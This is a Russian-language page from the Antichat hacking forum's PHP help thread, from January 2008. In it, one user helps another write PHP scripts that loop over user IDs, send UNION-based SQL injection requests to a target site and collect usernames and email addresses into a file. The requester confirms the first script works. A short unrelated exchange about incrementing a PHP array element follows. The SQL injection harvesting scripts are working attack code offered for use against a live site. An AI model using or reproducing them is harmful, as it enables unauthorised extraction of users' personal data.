ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1661  
Старый 24.01.2008, 23:46
lexa
Участник форума
Регистрация: 14.01.2005
Сообщений: 169
С нами: 11221125

Репутация: 23
По умолчанию

не помогло .. =(( что может быть не так .. ???
 
Ответить с цитированием

  #1662  
Старый 25.01.2008, 00:00
Macro
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
С нами: 10261766

Репутация: 1079


По умолчанию

Регулярка очень кривая. Но ничего точно сейчас сказать нельзя, потому что не совсем понятно что надо. Ссылку в студию.
 
Ответить с цитированием

  #1663  
Старый 25.01.2008, 00:35
Doom123
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
С нами: 10262314

Репутация: 668


По умолчанию

Цитата:
не помогло .. =(( что может быть не так .. ???
странно проверял када в файлах мыльники вида root@"localhostE-mail@domain.com"
У меня всё прекрасно писало в файл хз что там не так ... может в скуле дело?
 
Ответить с цитированием

  #1664  
Старый 25.01.2008, 00:48
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами: 10274726

Репутация: 1917


По умолчанию

PHP код:
<?

$handler
=fopen('emails.txt','a+');
  for(
$i=1;$i<30;$i++)
{
    
$filename "http://www.mysite.ru/index.php?t=-1+union+select+1,concat(0x2137333621,username,0x3a,email,0x2137333621)+from+users+WHERE+id=$i/*";
    echo 
$i.". ";
    
$str file_get_contents($filename);
    if(
preg_match('|!736!(.*)!736!|is',$str,$out) == 0) {echo " no mail";}
    else{
      echo 
" get ".$out[1];
      
$save $out[1]."\n";
      
fwrite($handler,$save);
    }
    echo 
"\n";
  }
  
fclose($handler);
?>
попробуй так, я пвыпимпши немного, так что ту с регулярками разбираться тоже особо не стал но ты не размышляй над кодом, а сначала попробуй, а потом размышляй
__________________
Карфаген должен быть разрушен...

Последний раз редактировалось Scipio; 25.01.2008 в 00:58..
 
Ответить с цитированием

  #1665  
Старый 25.01.2008, 02:45
lexa
Участник форума
Регистрация: 14.01.2005
Сообщений: 169
С нами: 11221125

Репутация: 23
По умолчанию

=( не пашет , кстати может я просто в фильтре попутал .. ответ от запроса mysql inj идет следующий..
в тегах <title>root@localhost (Admin:admin@mysite.ru)</title>
 
Ответить с цитированием

  #1666  
Старый 25.01.2008, 03:39
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами: 10274726

Репутация: 1917


По умолчанию

А че ж ты мозги то паришь тогда:
PHP код:
<? 

$handler
=fopen('emails.txt','a+'); 
  for(
$i=1;$i<30;$i++) 

    
$filename "http://www.mysite.ru/index.php?t=-1+union+select+1,concat(username,0x3a,email)+from+users+WHERE+id=$i/*"
    echo 
$i.". "
    
$str file_get_contents($filename); 
    if(
preg_match('|\((.*)\)|is',$str,$out) == 0) {echo " no mail";} 
    else{ 
      echo 
" get ".$out[1]; 
      
$save $out[1]."\n"
      
fwrite($handler,$save); 
    } 
    echo 
"\n"
  } 
  
fclose($handler); 
?>
а первый мой код у тебя не работает, потому что ты sql запрос мой исправляешь, причем его (первый вариант) лучше использовать, а вобще действительно как Macro сказал нужна конкретная ссыль, а то так получается "свидание вслепую", я уж не стал тут понармальному делать все просто регулярку подсказал, потому что, без наглядности тут нормально не сделаешь, вобще у тебя в этом скрипте много бесполезных вещей (ну если не много то они все равно есть)
__________________
Карфаген должен быть разрушен...

Последний раз редактировалось Scipio; 25.01.2008 в 03:48..
 
Ответить с цитированием

  #1667  
Старый 25.01.2008, 09:17
lexa
Участник форума
Регистрация: 14.01.2005
Сообщений: 169
С нами: 11221125

Репутация: 23
По умолчанию

аааааа все народ ооооггггррррооооомммммннн ноооооееее спасибо разобрался

Scipio - твой первый сткрипт работал , я просто как и сказал mysql запрос забыл поменять .. только сеня заметил как проспался....

Последний раз редактировалось lexa; 25.01.2008 в 09:23..
 
Ответить с цитированием

  #1668  
Старый 25.01.2008, 22:15
cash$$$
Banned
Регистрация: 06.01.2008
Сообщений: 413
С нами: 9655526

Репутация: 1334
По умолчанию

Как правильно и наиболее быстро сделать такую операцию:
arr[1] = arr[1] + x

с проверкой на существование индекса в одну строчку и быстро. Т.к. таких операции должно выполниться очень много и чтобы синтаксис был удобочитаемый. Оптимального решения найти не могу.
 
Ответить с цитированием

  #1669  
Старый 25.01.2008, 22:17
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
С нами: 9920546

Репутация: 1796
По умолчанию

if(isset($arr[1]))$arr[1]=$arr[1]+x;
можно еще так:
if(isset($arr[1]))$arr[1]+=x;

Оно?
__________________
Кто я?..

Последний раз редактировалось I-I()/Ib; 25.01.2008 в 22:19..
 
Ответить с цитированием

  #1670  
Старый 25.01.2008, 23:04
cash$$$
Banned
Регистрация: 06.01.2008
Сообщений: 413
С нами: 9655526

Репутация: 1334
По умолчанию

Да
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 50 (пользователей: 0 , гостей: 50)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.